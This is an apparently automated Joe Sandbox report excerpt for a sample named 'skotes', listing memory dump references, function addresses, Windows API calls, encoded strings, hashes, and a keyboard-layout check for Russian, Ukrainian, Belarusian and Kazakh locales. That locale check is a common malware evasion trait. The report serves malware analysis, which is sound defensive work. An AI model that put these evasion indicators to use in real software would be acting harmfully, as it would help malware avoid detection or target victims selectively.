Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: b1479c9985eab10211e37732f171c8f9df567ed03088e85c0f87daace81967a2
Instruction ID: 614f13efdee374b8193858c013d9659a8756d674951e2b133e02516e677d4d78
Opcode Fuzzy Hash: b1479c9985eab10211e37732f171c8f9df567ed03088e85c0f87daace81967a2
Instruction Fuzzy Hash: EFB1B0719002689BDB24DB14CC85BDEB7B9EF15300F5402D9E508E7292DB74AFE88F95

Function 00BD7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00BD7ED3

Strings

JjsrQV==, xrefs: 00BD8092
JjssOl==, xrefs: 00BD813A
JjsrPl==, xrefs: 00BD828A
JjssPV==, xrefs: 00BD81E2

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 9eeea9dc02e68c2e3ccaf795778a011644fbdca17b98cb51a040313560d0c20b
Instruction ID: 9d5ed731d8bd18d184b0107d01ed814aa41342acb7c5bc1d0aec99ed843c8420
Opcode Fuzzy Hash: 9eeea9dc02e68c2e3ccaf795778a011644fbdca17b98cb51a040313560d0c20b
Instruction Fuzzy Hash: 9BE1C771E106449BDF24BB28DC4B79DBBA2AB41720F9442DDE419673C2EF354E858BC2

Function 00C11ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C11775: CreateFileW.KERNEL32(00000000,00000000,?,00C11B65,?,?,00000000,?,00C11B65,00000000,0000000C), ref: 00C11792

__dosmaperr.LIBCMT ref: 00C11BD7
GetFileType.KERNEL32(00000000), ref: 00C11BE3
__dosmaperr.LIBCMT ref: 00C11BF6
__dosmaperr.LIBCMT ref: 00C11D9C

Strings

H, xrefs: 00C11D21

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 7a319038e747293765e1dd8534d748f42b968216e8f798bbb17a3f9a413349d9
Instruction ID: c82e69e9e935cc12a3a3f9a9ecb520b0cead2746758fdbe95ec791870a7a06ca
Opcode Fuzzy Hash: 7a319038e747293765e1dd8534d748f42b968216e8f798bbb17a3f9a413349d9
Instruction Fuzzy Hash: E3A12432A141489FCF1DEF68DD52BEE3BA1AB07320F180189ED11AB2D1D7389D52E751

Function 00C126F2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00C26758), ref: 00C1275C

Strings

Eastern Summer Time, xrefs: 00C127FA
Eastern Standard Time, xrefs: 00C127CB

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 86f807a985a56dc7c24f653f5e3449580b9239ea129c2dbc9a194fa266d6df7e
Instruction ID: 445a1dbec245e46176d059ce4a9c80f5c7d653335d10e9d8a2c855645fb3f5d3
Opcode Fuzzy Hash: 86f807a985a56dc7c24f653f5e3449580b9239ea129c2dbc9a194fa266d6df7e
Instruction Fuzzy Hash: 6B51EC76900215BBDB10EF65DC41AEE77B8EF46320F204569E520E31D1E7709E91FB90

Function 00BD7590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,845AEA34,?,00000000,00C19138,000000FF), ref: 00BD75CC
CreateThread.KERNEL32(00000000,00000000,00BD7430,00C38638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00BD76BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00BD76C9

Part of subcall function 00BED0C7: RtlWakeAllConditionVariable.NTDLL ref: 00BED17B

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: c5d565c718e806434c5e051ca0dd8099513ee49f156bf4883ba69fa35afb3e1d
Instruction ID: 692e85b2ac24bb6d6749f6f5b5f51305b778bd03099421d26ce11343a5e134e8
Opcode Fuzzy Hash: c5d565c718e806434c5e051ca0dd8099513ee49f156bf4883ba69fa35afb3e1d
Instruction Fuzzy Hash: 1C51E170260744AFEB14CF28CC86B8C7BB1EB05304F50466AF815973E1EBBAD9848B91

Function 00C06FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00C06EE6), ref: 00C06FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00C07030
__dosmaperr.LIBCMT ref: 00C070C5

Part of subcall function 00C0732A: __dosmaperr.LIBCMT ref: 00C0735F

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
